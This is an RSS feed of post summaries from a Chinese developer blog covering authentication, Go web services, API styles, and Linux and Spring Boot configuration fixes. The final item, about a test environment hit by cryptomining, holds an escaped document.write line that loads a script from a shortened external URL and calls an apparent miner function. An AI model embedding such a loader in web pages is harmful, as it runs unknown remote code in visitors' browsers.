<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Tdh5258的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/Tdh5258</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Tdh5258]]></copyright><item><title><![CDATA[访问认证（三）：Bearer]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/119064695</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/119064695</guid><author>Tdh5258</author><pubDate>Sat, 24 Jul 2021 23:54:42 +0800</pubDate><description><![CDATA[当前最流行的 token 编码方式是 JSON Web Token （JWT）。JWT 是 Bearer Token 的一个具体实现，由JSON 数据格式组成，通过HASH 散列算法生成一个字符串。该字符串可以用来进行 授权 和 信息交换。使用 JWT Token 进行认证有很多优点。比如：（1）无需在服务端存储用户数据，可以减轻服务端压力；（2）采用 JSON 数据格式，易读；（3）跨语言、轻量级；]]></description><category></category></item><item><title><![CDATA[访问认证（二）：Basic]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/119064328</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/119064328</guid><author>Tdh5258</author><pubDate>Sat, 24 Jul 2021 21:59:33 +0800</pubDate><description><![CDATA[Basic 认证（基础认证），是最简单的认证方式。]]></description><category></category></item><item><title><![CDATA[访问认证（一）认证与授权]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/119063893</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/119063893</guid><author>Tdh5258</author><pubDate>Sat, 24 Jul 2021 21:30:16 +0800</pubDate><description><![CDATA[保证应用的安全是软件开发的最基本要求。作为开发者，应该从软件层面来保证应用的安全，这可以通过认证来实现。

认证 与 授权 的区别

认证（Authentication, 缩写：authn）：用来验证某个用户是否具有访问系统的权限。如果认证通过，该用户就可以访问系统，从而创建、修改、删除、查询平台支持的资源。

授权（Authorization, 缩写：authz）：用来验证某个用户是否具有访问某个资源的权限。如果授权通过，该用户就能对资源做 CRUD 等操作。

认证 证明了你是谁，授权 决定了你能做什么]]></description><category></category></item><item><title><![CDATA[Web服务（二）：Gin框架]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/119055501</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/119055501</guid><author>Tdh5258</author><pubDate>Sat, 24 Jul 2021 19:56:01 +0800</pubDate><description><![CDATA[简介

Gin 框架是由 Go 语言编写，基于 net/http 包 封装的一个 Web 框架。

Gin 核心的路由功能是通过定制版的HttpRouter 来实现的，具有很高的路由性能。

Web 服务基础功能

1. HTTP / HTTPS支持

因为 Gin 框架是基于 net/http 包封装的一个 Web 框架，所以它天然就支持 HTTP / HTTPS。

通过下面方式开启一个 HTTP 服务：


insecureServer := &amp;http.Server {
    Addr..]]></description><category></category></item><item><title><![CDATA[Web服务（一）：简介]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/119054087</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/119054087</guid><author>Tdh5258</author><pubDate>Sat, 24 Jul 2021 11:11:53 +0800</pubDate><description><![CDATA[简介

在 Go 项目开发中，我们是在写能提供某种功能的后端服务，这些功能以 RPC API 接口 或者 RESTful API 接口 的形式对外提供，能提供这两种 API 接口的服务也统称为 Web 服务。

核心功能

核心功能分为 基础功能 和 高级功能 两大类。

1. 基础功能

1.1 通信协议 &amp; 通信格式

在 Go 项目开发中，有 HTTP + JSON 和 gRPC + Protobuf 两种组合可选。

1.2 路由匹配

根据 HTTP 方法，请求路径 匹配到处理这个请求的函]]></description><category></category></item><item><title><![CDATA[API 风格 （三）：RESTful & gRPC]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/118862700</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/118862700</guid><author>Tdh5258</author><pubDate>Sat, 17 Jul 2021 21:37:01 +0800</pubDate><description><![CDATA[RESTful VSgRPC

对比项
			RESTful
			gRPC
		优点
			
			相对来说，REST更规范、标准、通用，无论哪种语言都支持 HTTP 协议，可以对接外部很多系统，只要满足 HTTP 调用即可。
				通常采用 JSON 作为数据通信格式，可读性强，开发调试都很方便。
				客户端与服务端之间 松耦合，让变更更加方便。
			
			
			屏蔽网路细节，像调用本地方法一样，调用远程接口。
				通常采用 Protocol Buffers 作为数据传输格式，这种...]]></description><category></category></item><item><title><![CDATA[API 风格 （一）：RESTful API]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/118851812</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/118851812</guid><author>Tdh5258</author><pubDate>Sat, 17 Jul 2021 21:03:23 +0800</pubDate><description><![CDATA[简介

REST（REpresentational State Transfer 表现层状态转移），是一种软件架构风格，是一种架构约束条件和原则。它有一系列的规范。满足这些规范的 API 均可称为 RESTful API。

区别：REST 是一种规范，RESTful API 则是满足这种规范的 API 接口。

REST 规范把所有内容都视为资源，也就是说网络上一切皆资源。

REST 架构对资源的操作有获取（GET）、创建（POST）、修改（PUT）、删除（DELETE）。

HTTP方法
			行为.]]></description><category></category></item><item><title><![CDATA[API 风格 （二）：RPC API]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/118855826</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/118855826</guid><author>Tdh5258</author><pubDate>Sat, 17 Jul 2021 20:56:01 +0800</pubDate><description><![CDATA[RPC介绍

在 Go 项目开发中，如果业务对性能要求比较高，并且需要提供给多种编程语言调用，这时候就可以考虑使用 RPC API 接口。

RPC（Remote Procedure Call 远程过程调用），是一个计算机通信协议。该协议允许运行于一台计算机的程序，像调用本地方法一样，调用另一台计算机的子程序。

服务端实现一个函数，客户端使用 RPC 框架提供的接口，像调用本地函数一样调用这个函数，并获取返回值。

RPC 屏蔽底层的网络通信细节，使得开发人员无需关注网络编程的细节，可以将更多的时间、精.]]></description><category></category></item><item><title><![CDATA[001 如何获取、编译、安装Linux内核源代码]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/108501265</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/108501265</guid><author>Tdh5258</author><pubDate>Wed, 09 Sep 2020 21:34:44 +0800</pubDate><description><![CDATA[一、环境准备

1、VMware Workstation虚拟机

2、虚拟机中安装 Ubuntu-20.04.1 操作系统 （内核版本为 5.4.0）

二、获取源代码

1、www.kernel.org



2、下载后源代码为 linux-5.8.7.tar.xz 格式压缩包，存放于/home/ubuntu/Desktop/Linux目录下，通过下面两条命令解压

   cd /home/ubuntu/Desktop/Linux

   xz -d linux-5.8.7.tar.xz...]]></description><category></category></item><item><title><![CDATA[Apache2 【error】Config variable ${APACHE_RUN_DIR} is not defined]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/104127262</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/104127262</guid><author>Tdh5258</author><pubDate>Fri, 31 Jan 2020 19:42:18 +0800</pubDate><description><![CDATA[现象：



原因：

这是由于升级后apache 配置文件变化，没有导入新的apache 环境变量

解决方案：

source /etc/apache2/envvars


]]></description><category></category></item><item><title><![CDATA[Win7 安装jdk后无法打开jar文件]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/104125553</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/104125553</guid><author>Tdh5258</author><pubDate>Fri, 31 Jan 2020 16:49:36 +0800</pubDate><description><![CDATA[一、由于装了压缩软件，jar包被压缩软件所关联，导致双击jar包无法运行，

   解决办法当然是改变打开方式，将默认打开方式改为C:\Program Files\Java\jdk1.8.0_66\jre\bin目录下的javaw.exe

二、由于文件打开类型配置的问题，导致双击jar包出现找不到main函数，解决办法是修改关联程序的注册表

注册表项的路径为:\HKEY_CLASSES...]]></description><category></category></item><item><title><![CDATA[Kali 2019.4 下卸载并重新安装MySQL]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/104121814</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/104121814</guid><author>Tdh5258</author><pubDate>Fri, 31 Jan 2020 11:27:53 +0800</pubDate><description><![CDATA[一、完全卸载Mysql

首先用 dpkg --list | grepmysql查看自己的mysql有哪些依赖
	卸载mysql相关应用 apt-get remove mysql*
	再用 dpkg --list|grep mysql 查看，还剩什么就卸载什么
	
	最后清除残留数据：

	dpkg -l | grep ^rc | awk '{print $2}' | sudo xarg...]]></description><category></category></item><item><title><![CDATA[文件777 仍然不可写]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/90114469</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/90114469</guid><author>Tdh5258</author><pubDate>Sat, 11 May 2019 20:26:50 +0800</pubDate><description><![CDATA[原因：

  这是linux开启了SELinux，这是linux的一个安全子系统，

  getenforce 查看状态

  setenforce 0 临时关闭（重启恢复开启状态）

/usr/sbin/sestatus 查看详情


...]]></description><category></category></item><item><title><![CDATA[kali linux 开启ssh端口服务]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/90105723</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/90105723</guid><author>Tdh5258</author><pubDate>Sat, 11 May 2019 09:21:59 +0800</pubDate><description><![CDATA[ssh链接可以远程管理linux设备，默认端口是22，安装好系统默认是不开启的，需要修改配置文件

1.修改/etc/ssh/sshd_config配置文件

vim /etc/ssh/sshd_config

1.1 找到#PasswordAuthentication yes把#的注释去掉

PasswordAuthentication yes


1.2 将PermitRootLogi...]]></description><category></category></item><item><title><![CDATA[关于springboot中添加Filter的方法]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/88892940</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/88892940</guid><author>Tdh5258</author><pubDate>Fri, 29 Mar 2019 14:58:58 +0800</pubDate><description><![CDATA[【转】关于springboot中添加Filter的方法


@WebFilter(filterName = "myFilter",urlPatterns = "/*")
public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws S...]]></description><category></category></item><item><title><![CDATA[springboot 拦截器Interceptor 实现]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/88892165</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/88892165</guid><author>Tdh5258</author><pubDate>Fri, 29 Mar 2019 14:42:07 +0800</pubDate><description><![CDATA[1.编写拦截器

 implements HandlerInterceptor



public class AuthorityInterceptor implements HandlerInterceptor {

    /*
    进入Controller层之前调用；
    返回值为true，调用Controller层的方法；
    返回值为false，不再进入Controll...]]></description><category></category></item><item><title><![CDATA[springboot cors跨域]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/88890540</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/88890540</guid><author>Tdh5258</author><pubDate>Fri, 29 Mar 2019 13:29:06 +0800</pubDate><description><![CDATA[corsConfiguration.addAllowedOrigin("http://ip:port");

corsConfiguration.setAllowCredentials(true);


package com.bookshop;

import org.springframework.context.annotation.Bean;
import org.springfra...]]></description><category></category></item><item><title><![CDATA[npm ERR! Error: EACCES: permission denied, access]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/88873067</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/88873067</guid><author>Tdh5258</author><pubDate>Thu, 28 Mar 2019 17:05:08 +0800</pubDate><description><![CDATA[npm ERR! Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime'

npm ERR! { Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime'

npm ERR...]]></description><category></category></item><item><title><![CDATA[Spring Boot Web项目解决ajax跨域]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/88842344</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/88842344</guid><author>Tdh5258</author><pubDate>Wed, 27 Mar 2019 13:24:34 +0800</pubDate><description><![CDATA[【转】SpringBoot项目ajax 跨域post请求问题



在Application启动类中添加，需要导入的包都是与springframe相关的


private CorsConfiguration buildConfig() {
        CorsConfiguration corsConfiguration = new CorsConfiguration();
       ...]]></description><category></category></item><item><title><![CDATA[【转】记录一次测试环境被挖矿的坑]]></title><link>https://blog.youkuaiyun.com/Tdh5258/article/details/85556686</link><guid>https://blog.youkuaiyun.com/Tdh5258/article/details/85556686</guid><author>Tdh5258</author><pubDate>Tue, 01 Jan 2019 19:57:14 +0800</pubDate><description><![CDATA[document.write('&amp;lt;script src=&quot;http://t.cn/EvlonFh&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;OMINEId(&quot;e02cf4ce91284dab9bc3fc4cc2a65e28&quot;,&quot;-1&quot;)&amp;lt;/script&amp;gt;');

【转】记录一次测试环境被挖矿的坑

【转】redis修改端口号增加密码...]]></description><category></category></item></channel></rss>